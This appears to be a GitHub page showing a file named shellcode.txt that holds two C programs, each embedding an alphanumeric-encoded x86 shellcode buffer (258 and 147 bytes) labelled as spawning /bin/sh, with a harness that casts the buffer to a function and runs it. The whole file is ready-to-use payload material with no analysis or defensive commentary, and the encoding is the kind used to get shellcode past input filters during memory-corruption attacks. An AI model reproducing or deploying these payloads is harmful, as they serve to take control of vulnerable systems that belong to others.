-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathshellcode.txt
31 lines (29 loc) · 1.28 KB
/
shellcode.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//#######################################################################
// Length: 258 Bytes /bin/sh
// http://www.securityfocus.com/archive/82/466792/30/180/threaded
//#######################################################################
\#include\<stdio.h>
char buf[] =
"hAAAAX5AAAAHPPPPPPPPah4A00X5ZnCXPh0A00X50nRYPTYIII19hAA00X5Vb00PTY1"
"9hA0A0X5fpsOPTY19II19I19h0AA0X5OpeFPTY19II19I19h004AX5Bf8sPTY19I19I"
"I19h4040X58Bz8PTYII19h4520X58z9FPTY19I19I19I19h0000X5v7FvPTYI19I19h"
"0AE0X58pzGPTY19II19hE000X5ZnFFPTYI19I19h555AX5ZZZUPTY19T\xc3";
int main(){
fprintf(stdout,"Length: %d\n",strlen(buf));
(\*(void(\*)()) buf)();
return 0;
}
//#######################################################################
// Length: 147 Bytes /bin/sh
// http://blog.csdn.net/v_ling_v/article/details/42824007
//#######################################################################
\#include\<stdio.h>
char buf[] =
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HM"
"IQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHE"
"P0WQCK9KQ8MK0AA";
int main (){
fprintf(stdout,"Length: %d\n",strlen(buf));
(\*(void(\*)()) buf)();
return 0;
}